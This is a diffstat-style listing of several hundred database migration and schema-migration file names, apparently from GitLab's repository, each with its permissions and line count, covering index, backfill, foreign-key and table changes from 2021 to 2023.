-rw-r--r--db/migrate/20210527134019_add_diff_max_files_to_application_settings.rb11
-rw-r--r--db/migrate/20210527185542_add_prevent_sharing_groups_outside_hierarchy_to_namespace_settings.rb17
-rw-r--r--db/migrate/20210527194558_create_ci_job_token_project_scope_links.rb24
-rw-r--r--db/migrate/20210529164247_change_iterations_title_uniqueness_index.rb20
-rw-r--r--db/migrate/20210531053916_rename_instance_statistics_measurements.rb13
-rw-r--r--db/migrate/20210531070452_default_enforce_ssh_key_expiration.rb7
-rw-r--r--db/migrate/20210531071107_enable_enforce_ssh_key_expiration.rb15
-rw-r--r--db/migrate/20210601080039_group_protected_environments_add_index_and_constraint.rb35
-rw-r--r--db/migrate/20210601123341_add_running_builds_table.rb17
-rw-r--r--db/migrate/20210601125410_add_runners_created_at_index.rb20
-rw-r--r--db/migrate/20210601131742_update_web_hook_calls_limit.rb17
-rw-r--r--db/migrate/20210601132134_remove_partial_index_for_hashed_storage_migration.rb15
-rw-r--r--db/migrate/20210601133459_replace_runners_contacted_at_index.rb26
-rw-r--r--db/migrate/20210602122213_add_upcoming_reconciliations.rb23
-rw-r--r--db/migrate/20210602122233_add_runners_description_index.rb17
-rw-r--r--db/migrate/20210602155056_add_merge_request_diff_commit_users.rb31
-rw-r--r--db/migrate/20210602155110_add_merge_request_diff_commit_user_columns.rb25
-rw-r--r--db/migrate/20210602155110_init_schema.rb13
-rw-r--r--db/migrate/20221010191136_add_access_level_to_ci_job_artifacts.rb9
-rw-r--r--db/migrate/20221122210711_add_columns_to_postgres_foreign_keys.rb54
-rw-r--r--db/migrate/20221204090437_add_category_to_abuse_report.rb7
-rw-r--r--db/migrate/20221209174132_remove_sbom_occurrences_unique_index.rb22
-rw-r--r--db/migrate/20221209174157_truncate_sbom_occurrences.rb28
-rw-r--r--db/migrate/20221212054640_add_reported_from_to_abuse_reports.rb21
-rw-r--r--db/migrate/20221212192452_add_uuid_column_to_sbom_occurrences.rb7
-rw-r--r--db/migrate/20221212192527_index_sbom_occurrences_on_uuid.rb15
-rw-r--r--db/migrate/20221213105028_add_sync_part_step_2_of_index_namespaces_on_path_for_top_level_non_projects.rb18
-rw-r--r--db/migrate/20221214201256_create_user_achievements.rb33
-rw-r--r--db/migrate/20221214204247_user_achievements_foreign_keys.rb19
-rw-r--r--db/migrate/20221215210347_partition_pm_package_metadata_tables.rb13
-rw-r--r--db/migrate/20221219103007_add_name_to_ml_candidates.rb6
-rw-r--r--db/migrate/20221219112528_add_text_limit_to_name_on_ml_candidates.rb13
-rw-r--r--db/migrate/20221219135535_add_user_defaults_to_private_profile_to_application_settings.rb7
-rw-r--r--db/migrate/20221221134116_create_elastic_group_index_statuses.rb18
-rw-r--r--db/migrate/20221221171239_rename_amount_used_column.rb22
-rw-r--r--db/migrate/20221222144954_create_analytics_dashboards_configuration_pointers.rb19
-rw-r--r--db/migrate/20221223114543_add_pwa_icon_to_appearances.rb13
-rw-r--r--db/migrate/20221226105323_add_registration_columns_to_ci_runners.rb10
-rw-r--r--db/migrate/20221226132038_index_ci_runners_on_creator_id.rb15
-rw-r--r--db/migrate/20221226163203_create_ci_runner_machines.rb21
-rw-r--r--db/migrate/20221227080606_add_text_limit_to_pwa_icon.rb13
-rw-r--r--db/migrate/20221227100846_add_allow_registration_token_to_application_settings.rb9
-rw-r--r--db/migrate/20221227100908_add_allow_registration_token_to_namespace_settings.rb9
-rw-r--r--db/migrate/20221228063845_add_incident_events_to_integrations.rb7
-rw-r--r--db/migrate/20221228083452_remove_check_constraint_on_chat_names_on_integration.rb15
-rw-r--r--db/migrate/20221228161214_rename_appearances_short_title_to_pwa_short_name.rb13
-rw-r--r--db/migrate/20230104150600_add_machine_id_to_builds_metadata.rb9
-rw-r--r--db/migrate/20230105170414_rename_amount_used_column_on_ci_namespace_monthly_usages_table.rb24
-rw-r--r--db/migrate/20230106125945_add_user_to_ssh_signatures.rb11
-rw-r--r--db/migrate/20230106131659_add_fingerprint_to_ssh_signatures.rb13
-rw-r--r--db/migrate/20230106142239_add_config_column_to_ci_runner_machines.rb9
-rw-r--r--db/migrate/20230109095159_add_runner_machines_created_at_index.rb15
-rw-r--r--db/migrate/20230109121313_add_runner_machines_contacted_at_index.rb16
-rw-r--r--db/migrate/20230109215921_add_storage_admin_control_columns_to_plan_limits.rb11
-rw-r--r--db/migrate/20230110031131_add_uses_legacy_iid_to_test_reports.rb7
-rw-r--r--db/migrate/20230111092510_add_migrate_projects_to_bulk_import_entities.rb7
-rw-r--r--db/migrate/20230111124512_remove_tmp_index_vulns_on_report_type.rb22
-rw-r--r--db/migrate/20230111132621_unpartition_pm_package_metadata_tables.rb54
-rw-r--r--db/migrate/20230112014822_add_user_index_and_fk_to_ssh_signatures.rb20
-rw-r--r--db/migrate/20230112104253_add_tmp_index_to_ci_build_runner_session.rb23
-rw-r--r--db/migrate/20230112104526_add_tmp_index_to_ci_pending_build.rb23
-rw-r--r--db/migrate/20230112104636_add_tmp_index_to_ci_running_build.rb23
-rw-r--r--db/post_migrate/20210302074524_backfill_namespace_statistics_with_wiki_size.rb29
-rw-r--r--db/post_migrate/20210302150310_schedule_migrate_pages_to_zip_storage.rb17
-rw-r--r--db/post_migrate/20210303064112_add_not_null_constraints_to_gitlab_subscriptions_namespace_id.rb19
-rw-r--r--db/post_migrate/20210303064142_cleanup_gitlab_subscriptions_with_null_namespace_id.rb24
-rw-r--r--db/post_migrate/20210303121224_update_gitlab_subscriptions_start_at_post_eoa.rb54
-rw-r--r--db/post_migrate/20210303165302_cleanup_cluster_tokens_with_null_name.rb25
-rw-r--r--db/post_migrate/20210304133508_schedule_remove_duplicate_vulnerabilities_findings2.rb32
-rw-r--r--db/post_migrate/20210306121310_backfill_partitioned_web_hook_logs.rb17
-rw-r--r--db/post_migrate/20210311045138_set_traversal_ids_for_gitlab_org_group_staging.rb88
-rw-r--r--db/post_migrate/20210311045139_set_traversal_ids_for_gitlab_org_group_com.rb88
-rw-r--r--db/post_migrate/20210311093723_add_partial_index_on_ci_pipelines_by_cancelable_status_and_users.rb30
-rw-r--r--db/post_migrate/20210311120155_backfill_events_id_for_bigint_conversion.rb31
-rw-r--r--db/post_migrate/20210311120156_backfill_push_event_payload_event_id_for_bigint_conversion.rb32
-rw-r--r--db/post_migrate/20210317104032_set_iteration_cadence_automatic_to_false.rb17
-rw-r--r--db/post_migrate/20210317155207_validate_not_null_constraint_on_cluster_token_name.rb16
-rw-r--r--db/post_migrate/20210322115438_validate_not_null_constraint_on_gitlab_subscriptions_namespace_id.rb17
-rw-r--r--db/post_migrate/20210326121537_backfill_cleanup_for_partitioned_web_hook_logs.rb17
-rw-r--r--db/post_migrate/20210328214434_remove_temporary_index_from_vulnerabilities_table.rb18
-rw-r--r--db/post_migrate/20210329102724_add_new_trail_plans.rb41
-rw-r--r--db/post_migrate/20210330091751_remove_records_without_group_from_webhooks_table.rb30
-rw-r--r--db/post_migrate/20210330130420_drop_finding_fingerprint_table.rb40
-rw-r--r--db/post_migrate/20210331105335_drop_non_partitioned_audit_events.rb44
-rw-r--r--db/post_migrate/20210401131948_move_container_registry_enabled_to_project_features2.rb29
-rw-r--r--db/post_migrate/20210402005225_add_source_and_level_index_on_notification_settings.rb24
-rw-r--r--db/post_migrate/20210403022952_remove_notes_delete_cascade_timelogs.rb26
-rw-r--r--db/post_migrate/20210406144743_backfill_total_tuple_count_for_batched_migrations.rb27
-rw-r--r--db/post_migrate/20210407150240_confirm_support_bot_user.rb23
-rw-r--r--db/post_migrate/20210409185501_index_members_on_user_id_source_id_source_type.rb17
-rw-r--r--db/post_migrate/20210409185531_remove_members_index_on_user_id.rb17
-rw-r--r--db/post_migrate/20210413092922_add_index_to_packages_maven_metadata_path.rb17
-rw-r--r--db/post_migrate/20210413130011_add_partitioned_web_hook_log_fk.rb22
-rw-r--r--db/post_migrate/20210413132500_reschedule_artifact_expiry_backfill_again.rb14
-rw-r--r--db/post_migrate/20210415074645_index_members_on_user_id_access_level_requested_at_is_null.rb17
-rw-r--r--db/post_migrate/20210415101228_backfill_ci_build_needs_for_bigint_conversion.rb32
-rw-r--r--db/post_migrate/20210415155043_move_container_registry_enabled_to_project_features3.rb35
-rw-r--r--db/post_migrate/20210420103955_remove_hipchat_service_records.rb21
-rw-r--r--db/post_migrate/20210420121149_backfill_conversion_of_ci_job_artifacts.rb31
-rw-r--r--db/post_migrate/20210421163509_schedule_update_jira_tracker_data_deployment_type_based_on_url.rb15
-rw-r--r--db/post_migrate/20210422023046_backfill_ci_sources_pipelines_source_job_id_for_bigint_conversion.rb30
-rw-r--r--db/post_migrate/20210423124223_remove_proxy_settings_to_jira_tracker_data.rb14
-rw-r--r--db/post_migrate/20210423160427_schedule_drop_invalid_vulnerabilities.rb26
-rw-r--r--db/post_migrate/20210426094549_backfill_ci_builds_for_bigint_conversion.rb30
-rw-r--r--db/post_migrate/20210426225417_schedule_recalculate_uuid_on_vulnerabilities_occurrences2.rb12
-rw-r--r--db/post_migrate/20210427045711_backfill_ci_build_trace_chunks_for_bigint_conversion.rb28
-rw-r--r--db/post_migrate/20210427085020_backfill_ci_builds_runner_session_for_bigint_conversion.rb28
-rw-r--r--db/post_migrate/20210427212034_schedule_update_timelogs_project_id.rb32
-rw-r--r--db/post_migrate/20210429143649_add_new_issues_index_for_relative_position.rb17
-rw-r--r--db/post_migrate/20210430121542_backfill_ci_build_trace_sections_for_bigint_conversion.rb19
-rw-r--r--db/post_migrate/20210430130259_remove_obsolete_segments_field.rb18
-rw-r--r--db/post_migrate/20210430134202_copy_adoption_snapshot_namespace.rb16
-rw-r--r--db/post_migrate/20210430135954_copy_adoption_segments_namespace.rb14
-rw-r--r--db/post_migrate/20210505092746_create_partial_covering_index_for_pending_builds.rb24
-rw-r--r--db/post_migrate/20210506064413_create_namespaces_id_parent_id_inverse_partial_index.rb18
-rw-r--r--db/post_migrate/20210506065000_schedule_backfill_traversal_ids.rb38
-rw-r--r--db/post_migrate/20210511095657_add_temporary_index_for_project_topics_to_taggings.rb19
-rw-r--r--db/post_migrate/20210511095658_schedule_migrate_project_taggings_context_from_tags_to_topics.rb30
-rw-r--r--db/post_migrate/20210511142748_schedule_drop_invalid_vulnerabilities2.rb25
-rw-r--r--db/post_migrate/20210513155447_add_temporary_package_index_for_nuget_data_migration.rb19
-rw-r--r--db/post_migrate/20210513155546_backfill_nuget_temporary_packages_to_processing_status.rb29
-rw-r--r--db/post_migrate/20210513155635_remove_temporary_package_index_for_nuget_data_migration.rb19
-rw-r--r--db/post_migrate/20210513163904_cleanup_move_container_registry_enabled_to_project_feature.rb36
-rw-r--r--db/post_migrate/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects.rb27
-rw-r--r--db/post_migrate/20210517075444_remove_temporary_index_for_project_topics_to_taggings.rb19
-rw-r--r--db/post_migrate/20210518001450_backfill_clusters_integration_elastic_stack_enabled.rb34
-rw-r--r--db/post_migrate/20210518074332_schedule_disable_expiration_policies_linked_to_no_container_images.rb29
-rw-r--r--db/post_migrate/20210519104931_backfill_clusters_integration_prometheus_enabled.rb42
-rw-r--r--db/post_migrate/20210519132129_backfill_ci_builds_metadata_for_bigint_conversion.rb18
-rw-r--r--db/post_migrate/20210519220019_backfill_escalation_policies_for_oncall_schedules.rb89
-rw-r--r--db/post_migrate/20210520012430_backfill_pk_conversion_for_self_managed.rb46
-rw-r--r--db/post_migrate/20210525075724_clean_up_pending_builds_table.rb28
-rw-r--r--db/post_migrate/20210526160133_remove_segment_selections_table.rb26
-rw-r--r--db/post_migrate/20210526222715_backfill_draft_status_on_merge_requests.rb17
-rw-r--r--db/post_migrate/20210527131039_clean_up_rename_experiment_subjects_group_id_to_namespace_id.rb15
-rw-r--r--db/post_migrate/20210531054108_finalize_rename_instance_statistics_measurements.rb13
-rw-r--r--db/post_migrate/20210601073400_fix_total_stage_in_vsa.rb27
-rw-r--r--db/post_migrate/20211004120135_schedule_add_primary_email_to_emails_if_user_confirmed.rb30
-rw-r--r--db/post_migrate/20211206162601_cleanup_after_add_primary_email_to_emails_if_user_confirmed.rb59
-rw-r--r--db/post_migrate/20220826152430_remove_container_repository_deprecated_geo_fields.rb28
-rw-r--r--db/post_migrate/20220826152432_remove_container_repository_updated_events.rb22
-rw-r--r--db/post_migrate/20221102231131_remove_temp_index_for_user_details_fields.rb26
-rw-r--r--db/post_migrate/20221110100600_add_temp_index_on_overlong_vulnerability_html_title.rb18
-rw-r--r--db/post_migrate/20221110100602_queue_truncate_overlong_vulnerability_html_titles.rb29
-rw-r--r--db/post_migrate/20221209235939_add_tmp_index_oauth_access_tokens_on_id_where_expires_in_null.rb16
-rw-r--r--db/post_migrate/20221209235940_cleanup_o_auth_access_tokens_with_null_expires_in.rb25
-rw-r--r--db/post_migrate/20221214095129_second_recount_epic_cache_counts.rb29
-rw-r--r--db/post_migrate/20221214105307_add_token_encrypted_partition_id_index_to_ci_build.rb23
-rw-r--r--db/post_migrate/20221215151822_schedule_backfill_releases_author_id.rb59
-rw-r--r--db/post_migrate/20221216131710_add_index_to_ci_unit_test_failure.rb17
-rw-r--r--db/post_migrate/20221216131935_add_index_to_ci_build_pending_state.rb17
-rw-r--r--db/post_migrate/20221216131958_add_index_to_ci_build_trace_chunk.rb17
-rw-r--r--db/post_migrate/20221216144854_add_foreign_key_to_ci_unit_test_failure.rb30
-rw-r--r--db/post_migrate/20221216150304_add_foreign_key_to_ci_build_pending_state.rb30
-rw-r--r--db/post_migrate/20221216150321_add_foreign_key_to_ci_build_trace_chunk.rb30
-rw-r--r--db/post_migrate/20221216150919_validate_foreign_key_on_ci_unit_test_failure_partition_id_build_id.rb16
-rw-r--r--db/post_migrate/20221216151459_validate_foreign_key_on_ci_build_pending_state_partition_id_build_id.rb16
-rw-r--r--db/post_migrate/20221216151649_validate_foreign_key_on_ci_build_trace_chunk_partition_id_build_id.rb16
-rw-r--r--db/post_migrate/20221216232658_index_members_on_member_namespace_id_compound.rb19
-rw-r--r--db/post_migrate/20221216232659_index_members_on_member_namespace_id_compound_sync.rb19
-rw-r--r--db/post_migrate/20221220075936_add_query_index_for_ci_pipeline_schedules.rb18
-rw-r--r--db/post_migrate/20221220131020_bump_default_partition_id_value_for_ci_tables.rb56
-rw-r--r--db/post_migrate/20221221110733_remove_temp_index_for_project_statistics_upload_size_migration.rb17
-rw-r--r--db/post_migrate/20221221150123_update_billable_users_index.rb27
-rw-r--r--db/post_migrate/20221222092958_sync_new_amount_used_with_amount_used.rb17
-rw-r--r--db/post_migrate/20221223123019_delete_queued_jobs_for_vulnerabilities_feedback_migration.rb23
-rw-r--r--db/post_migrate/20221226153240_remove_chat_names_integration_id_foreign_key.rb27
-rw-r--r--db/post_migrate/20221226154458_drop_index_on_chat_names_on_integration_id_and_team_id_and_chat_id.rb15
-rw-r--r--db/post_migrate/20221227100751_add_user_index_to_chat_names.rb15
-rw-r--r--db/post_migrate/20221227101436_drop_index_on_chat_names_on_user_id_and_integration_id.rb15
-rw-r--r--db/post_migrate/20221228103133_queue_backfill_admin_mode_scope_for_personal_access_tokens.rb21
-rw-r--r--db/post_migrate/20221228163035_cleanup_appearances_short_title_rename.rb13
-rw-r--r--db/post_migrate/20221228210616_add_index_on_ci_runners_on_runner_type_and_id.rb18
-rw-r--r--db/post_migrate/20230104103748_remove_new_amount_used_column.rb20
-rw-r--r--db/post_migrate/20230104150601_prepare_builds_metadata_async_idx.rb36
-rw-r--r--db/post_migrate/20230104220137_reindex_vuln_reads_on_default_branch_with_common_query.rb26
-rw-r--r--db/post_migrate/20230104224020_drop_vuln_reads_on_default_branch_index.rb19
-rw-r--r--db/post_migrate/20230105172120_sync_new_amount_used_with_amount_used_on_ci_namespace_monthly_usages_table.rb19
-rw-r--r--db/post_migrate/20230105180002_remove_new_amount_used_column_on_ci_namespace_monthly_usages.rb22
-rw-r--r--db/post_migrate/20230106124332_change_keys_relation_to_ssh_signatures.rb41
-rw-r--r--db/post_migrate/20230110172751_add_partial_index_on_group_path_id.rb15
-rw-r--r--db/post_migrate/20230111125148_add_user_id_and_source_id_and_source_type_and_member_role_id_index_to_members.rb15
-rw-r--r--db/post_migrate/20230111125150_drop_user_id_and_source_id_and_source_type_index_from_members.rb15
-rw-r--r--db/post_migrate/20230112085143_add_index_environments_on_project_id_and_id.rb15
-rw-r--r--db/post_migrate/20230113003255_remove_atlassian_refresh_token_constraint.rb20
-rw-r--r--db/post_migrate/20230116083826_drop_index_on_ci_build_token_encrypted.rb17
-rw-r--r--db/post_migrate/20230116090630_add_index_for_group_activity_events.rb15
-rw-r--r--db/post_migrate/20230116090852_add_index_for_project_activity_events.rb15
-rw-r--r--db/post_migrate/20230116090920_add_index_to_events_on_group_id_and_id.rb15
-rw-r--r--db/post_migrate/20230116091626_add_index_for_events_followed_users.rb15
-rw-r--r--db/post_migrate/20230116111252_finalize_todo_sanitization.rb22
-rw-r--r--db/post_migrate/20230117113719_add_tmp_index_to_ci_sources_pipelines_on_partition_id.rb29
-rw-r--r--db/post_migrate/20230117145628_add_token_encrypted_and_partition_id_index_to_ci_build.rb17
-rw-r--r--db/schema_migrations/202103012009591
-rw-r--r--db/schema_migrations/202103020253051
-rw-r--r--db/schema_migrations/202103020745241
-rw-r--r--db/schema_migrations/202103021038511
-rw-r--r--db/schema_migrations/202103021503101
-rw-r--r--db/schema_migrations/202103021559041
-rw-r--r--db/schema_migrations/202103021605441
-rw-r--r--db/schema_migrations/202103022126231
-rw-r--r--db/schema_migrations/202103030533411
-rw-r--r--db/schema_migrations/202103030641121
-rw-r--r--db/schema_migrations/202103030641421
-rw-r--r--db/schema_migrations/202103030916511
-rw-r--r--db/schema_migrations/202103031212241
-rw-r--r--db/schema_migrations/202103031652011
-rw-r--r--db/schema_migrations/202103031653011
-rw-r--r--db/schema_migrations/202103031653021
-rw-r--r--db/schema_migrations/202103031935441
-rw-r--r--db/schema_migrations/202103031936051
-rw-r--r--db/schema_migrations/202103041335081
-rw-r--r--db/schema_migrations/202103050020161
-rw-r--r--db/schema_migrations/202103050135091
-rw-r--r--db/schema_migrations/202103050318221
-rw-r--r--db/schema_migrations/202103051456221
-rw-r--r--db/schema_migrations/202103051803311
-rw-r--r--db/schema_migrations/202103051827401
-rw-r--r--db/schema_migrations/202103051828551
-rw-r--r--db/schema_migrations/202103051839041
-rw-r--r--db/schema_migrations/202103061213001
-rw-r--r--db/schema_migrations/202103061213101
-rw-r--r--db/schema_migrations/202103081257421
-rw-r--r--db/schema_migrations/202103081752241
-rw-r--r--db/schema_migrations/202103081752251
-rw-r--r--db/schema_migrations/202103081752261
-rw-r--r--db/schema_migrations/202103081752271
-rw-r--r--db/schema_migrations/202103081904131
-rw-r--r--db/schema_migrations/202103091601061
-rw-r--r--db/schema_migrations/202103091810191
-rw-r--r--db/schema_migrations/202103100006271
-rw-r--r--db/schema_migrations/202103101110091
-rw-r--r--db/schema_migrations/202103110220121
-rw-r--r--db/schema_migrations/202103110451381
-rw-r--r--db/schema_migrations/202103110451391
-rw-r--r--db/schema_migrations/202103110937231
-rw-r--r--db/schema_migrations/202103111201521
-rw-r--r--db/schema_migrations/202103111201531
-rw-r--r--db/schema_migrations/202103111201541
-rw-r--r--db/schema_migrations/202103111201551
-rw-r--r--db/schema_migrations/202103111201561
-rw-r--r--db/schema_migrations/202103121400291
-rw-r--r--db/schema_migrations/202103121743211
-rw-r--r--db/schema_migrations/202103121935321
-rw-r--r--db/schema_migrations/202103130456171
-rw-r--r--db/schema_migrations/202103130458451
-rw-r--r--db/schema_migrations/202103160940471
-rw-r--r--db/schema_migrations/202103160943231
-rw-r--r--db/schema_migrations/202103161525001
-rw-r--r--db/schema_migrations/202103161710091
-rw-r--r--db/schema_migrations/202103170353571
-rw-r--r--db/schema_migrations/202103171005201
-rw-r--r--db/schema_migrations/202103171040321
-rw-r--r--db/schema_migrations/202103171043011
-rw-r--r--db/schema_migrations/202103171059041
-rw-r--r--db/schema_migrations/202103171230541
-rw-r--r--db/schema_migrations/202103171552071
-rw-r--r--db/schema_migrations/202103171929431
-rw-r--r--db/schema_migrations/202103172103381
-rw-r--r--db/schema_migrations/202103181344271
-rw-r--r--db/schema_migrations/202103190712141
-rw-r--r--db/schema_migrations/202103220634071
-rw-r--r--db/schema_migrations/202103220634501
-rw-r--r--db/schema_migrations/202103221154381
-rw-r--r--db/schema_migrations/202103221827511
-rw-r--r--db/schema_migrations/202103230647511
-rw-r--r--db/schema_migrations/202103231258091
-rw-r--r--db/schema_migrations/202103231308311
-rw-r--r--db/schema_migrations/202103231315431
-rw-r--r--db/schema_migrations/202103231550101
-rw-r--r--db/schema_migrations/202103231828461
-rw-r--r--db/schema_migrations/202103241124391
-rw-r--r--db/schema_migrations/202103241317271
-rw-r--r--db/schema_migrations/202103250922151
-rw-r--r--db/schema_migrations/202103251131291
-rw-r--r--db/schema_migrations/202103251508371
-rw-r--r--db/schema_migrations/202103251517581
-rw-r--r--db/schema_migrations/202103251520111
-rw-r--r--db/schema_migrations/202103260355531
-rw-r--r--db/schema_migrations/202103261215371
-rw-r--r--db/schema_migrations/202103261909031
-rw-r--r--db/schema_migrations/202103282144341
-rw-r--r--db/schema_migrations/202103290955481
-rw-r--r--db/schema_migrations/202103291027241
-rw-r--r--db/schema_migrations/202103291918501
-rw-r--r--db/schema_migrations/202103291927161
-rw-r--r--db/schema_migrations/202103300158051
-rw-r--r--db/schema_migrations/202103300917511
-rw-r--r--db/schema_migrations/202103301304201
-rw-r--r--db/schema_migrations/202103310009341
-rw-r--r--db/schema_migrations/202103311053351
-rw-r--r--db/schema_migrations/202103311251111
-rw-r--r--db/schema_migrations/202103311455481
-rw-r--r--db/schema_migrations/202103311801181
-rw-r--r--db/schema_migrations/202104011319481
-rw-r--r--db/schema_migrations/202104011341571
-rw-r--r--db/schema_migrations/202104011344551
-rw-r--r--db/schema_migrations/202104011751341
-rw-r--r--db/schema_migrations/202104011928081
-rw-r--r--db/schema_migrations/202104020052251
-rw-r--r--db/schema_migrations/202104030229521
-rw-r--r--db/schema_migrations/202104060634421
-rw-r--r--db/schema_migrations/202104061400571
-rw-r--r--db/schema_migrations/202104061447431
-rw-r--r--db/schema_migrations/202104070025111
-rw-r--r--db/schema_migrations/202104071110271
-rw-r--r--db/schema_migrations/202104071405391
-rw-r--r--db/schema_migrations/202104071502401
-rw-r--r--db/schema_migrations/202104090842421
-rw-r--r--db/schema_migrations/202104091855011
-rw-r--r--db/schema_migrations/202104091855311
-rw-r--r--db/schema_migrations/202104112128131
-rw-r--r--db/schema_migrations/202104121112131
-rw-r--r--db/schema_migrations/202104121327361
-rw-r--r--db/schema_migrations/202104121328241
-rw-r--r--db/schema_migrations/202104121422231
-rw-r--r--db/schema_migrations/202104121720301
-rw-r--r--db/schema_migrations/202104130929221
-rw-r--r--db/schema_migrations/202104131211011
-rw-r--r--db/schema_migrations/202104131238321
-rw-r--r--db/schema_migrations/202104131300111
-rw-r--r--db/schema_migrations/202104131325001
-rw-r--r--db/schema_migrations/202104131553241
-rw-r--r--db/schema_migrations/202104140453221
-rw-r--r--db/schema_migrations/202104140959441
-rw-r--r--db/schema_migrations/202104141009141
-rw-r--r--db/schema_migrations/202104141300171
-rw-r--r--db/schema_migrations/202104141305261
-rw-r--r--db/schema_migrations/202104141316001
-rw-r--r--db/schema_migrations/202104141318071
-rw-r--r--db/schema_migrations/202104141333101
-rw-r--r--db/schema_migrations/202104150746451
-rw-r--r--db/schema_migrations/202104151001591
-rw-r--r--db/schema_migrations/202104151012281
-rw-r--r--db/schema_migrations/202104151427001
-rw-r--r--db/schema_migrations/202104151445381
-rw-r--r--db/schema_migrations/202104151550431
-rw-r--r--db/schema_migrations/202104151725161
-rw-r--r--db/schema_migrations/202104161725161
-rw-r--r--db/schema_migrations/202104190904121
-rw-r--r--db/schema_migrations/202104190905421
-rw-r--r--db/schema_migrations/202104192030171
-rw-r--r--db/schema_migrations/202104192030181
-rw-r--r--db/schema_migrations/202104192248341
-rw-r--r--db/schema_migrations/202104200124441
-rw-r--r--db/schema_migrations/202104200129091
-rw-r--r--db/schema_migrations/202104201039551
-rw-r--r--db/schema_migrations/202104201207341
-rw-r--r--db/schema_migrations/202104201211491
-rw-r--r--db/schema_migrations/202104201730301
-rw-r--r--db/schema_migrations/202104202106421
-rw-r--r--db/schema_migrations/202104202211061
-rw-r--r--db/schema_migrations/202104210215101
-rw-r--r--db/schema_migrations/202104210220101
-rw-r--r--db/schema_migrations/202104210817241
-rw-r--r--db/schema_migrations/202104211635091
-rw-r--r--db/schema_migrations/202104211901571
-rw-r--r--db/schema_migrations/202104220228251
-rw-r--r--db/schema_migrations/202104220230461
-rw-r--r--db/schema_migrations/202104221426471
-rw-r--r--db/schema_migrations/202104221818091
-rw-r--r--db/schema_migrations/202104221959291
-rw-r--r--db/schema_migrations/202104230540221
-rw-r--r--db/schema_migrations/202104230545371
-rw-r--r--db/schema_migrations/202104230548461
-rw-r--r--db/schema_migrations/202104231242231
-rw-r--r--db/schema_migrations/202104231550591
-rw-r--r--db/schema_migrations/202104231604271
-rw-r--r--db/schema_migrations/202104231647021
-rw-r--r--db/schema_migrations/202104231713041
-rw-r--r--db/schema_migrations/202104241157251
-rw-r--r--db/schema_migrations/202104241634001
-rw-r--r--db/schema_migrations/202104260945241
-rw-r--r--db/schema_migrations/202104260945491
-rw-r--r--db/schema_migrations/202104262254171
-rw-r--r--db/schema_migrations/202104270456041
-rw-r--r--db/schema_migrations/202104270457111
-rw-r--r--db/schema_migrations/202104270628071
-rw-r--r--db/schema_migrations/202104270849241
-rw-r--r--db/schema_migrations/202104270850201
-rw-r--r--db/schema_migrations/202104270949311
-rw-r--r--db/schema_migrations/202104271254001
-rw-r--r--db/schema_migrations/202104271949581
-rw-r--r--db/schema_migrations/202104272008401
-rw-r--r--db/schema_migrations/202104272120341
-rw-r--r--db/schema_migrations/202104281511441
-rw-r--r--db/schema_migrations/202104281512381
-rw-r--r--db/schema_migrations/202104290248431
-rw-r--r--db/schema_migrations/202104290323201
-rw-r--r--db/schema_migrations/202104291315251
-rw-r--r--db/schema_migrations/202104291436491
-rw-r--r--db/schema_migrations/202104291813251
-rw-r--r--db/schema_migrations/202104291926531
-rw-r--r--db/schema_migrations/202104291931061
-rw-r--r--db/schema_migrations/202104300347121
-rw-r--r--db/schema_migrations/202104301009471
-rw-r--r--db/schema_migrations/202104301215221
-rw-r--r--db/schema_migrations/202104301215421
-rw-r--r--db/schema_migrations/202104301229511
-rw-r--r--db/schema_migrations/202104301242121
-rw-r--r--db/schema_migrations/202104301246301
-rw-r--r--db/schema_migrations/202104301302591
-rw-r--r--db/schema_migrations/202104301342021
-rw-r--r--db/schema_migrations/202104301359541
-rw-r--r--db/schema_migrations/202104301546311
-rw-r--r--db/schema_migrations/202105031050221
-rw-r--r--db/schema_migrations/202105031058451
-rw-r--r--db/schema_migrations/202105031317471
-rw-r--r--db/schema_migrations/202105040851441
-rw-r--r--db/schema_migrations/202105041358231
-rw-r--r--db/schema_migrations/202105041431281
-rw-r--r--db/schema_migrations/202105041533541
-rw-r--r--db/schema_migrations/202105041644291
-rw-r--r--db/schema_migrations/202105050706121
-rw-r--r--db/schema_migrations/202105050708121
-rw-r--r--db/schema_migrations/202105050927461
-rw-r--r--db/schema_migrations/202105051248161
-rw-r--r--db/schema_migrations/202105051701521
-rw-r--r--db/schema_migrations/202105060644131
-rw-r--r--db/schema_migrations/202105060650001
-rw-r--r--db/schema_migrations/202105061508331
-rw-r--r--db/schema_migrations/202105071919491
-rw-r--r--db/schema_migrations/202105100838451
-rw-r--r--db/schema_migrations/202105101915511
-rw-r--r--db/schema_migrations/202105101915521
-rw-r--r--db/schema_migrations/202105110956571
-rw-r--r--db/schema_migrations/202105110956581
-rw-r--r--db/schema_migrations/202105111049291
-rw-r--r--db/schema_migrations/202105111049301
-rw-r--r--db/schema_migrations/202105111427481
-rw-r--r--db/schema_migrations/202105111652501
-rw-r--r--db/schema_migrations/202105121201221
-rw-r--r--db/schema_migrations/202105121833091
-rw-r--r--db/schema_migrations/202105121833101
-rw-r--r--db/schema_migrations/202105130934181
-rw-r--r--db/schema_migrations/202105131554471
-rw-r--r--db/schema_migrations/202105131555461
-rw-r--r--db/schema_migrations/202105131556351
-rw-r--r--db/schema_migrations/202105131639041
-rw-r--r--db/schema_migrations/202105140632521
-rw-r--r--db/schema_migrations/202105170754441
-rw-r--r--db/schema_migrations/202105171307231
-rw-r--r--db/schema_migrations/202105171448561
-rw-r--r--db/schema_migrations/202105172216121
-rw-r--r--db/schema_migrations/202105180014501
-rw-r--r--db/schema_migrations/202105180743321
-rw-r--r--db/schema_migrations/202105191049311
-rw-r--r--db/schema_migrations/202105191321091
-rw-r--r--db/schema_migrations/202105191321291
-rw-r--r--db/schema_migrations/202105191540581
-rw-r--r--db/schema_migrations/202105192200191
-rw-r--r--db/schema_migrations/202105200124301
-rw-r--r--db/schema_migrations/202105201020391
-rw-r--r--db/schema_migrations/202105201330321
-rw-r--r--db/schema_migrations/202105201334401
-rw-r--r--db/schema_migrations/202105210739201
-rw-r--r--db/schema_migrations/202105250757241
-rw-r--r--db/schema_migrations/202105250851581
-rw-r--r--db/schema_migrations/202105250853251
-rw-r--r--db/schema_migrations/202105251005391
-rw-r--r--db/schema_migrations/202105251006031
-rw-r--r--db/schema_migrations/202105251849001
-rw-r--r--db/schema_migrations/202105261359111
-rw-r--r--db/schema_migrations/202105261552571
-rw-r--r--db/schema_migrations/202105261601331
-rw-r--r--db/schema_migrations/202105261818201
-rw-r--r--db/schema_migrations/202105261818211
-rw-r--r--db/schema_migrations/202105261902591
-rw-r--r--db/schema_migrations/202105261905531
-rw-r--r--db/schema_migrations/202105262227151
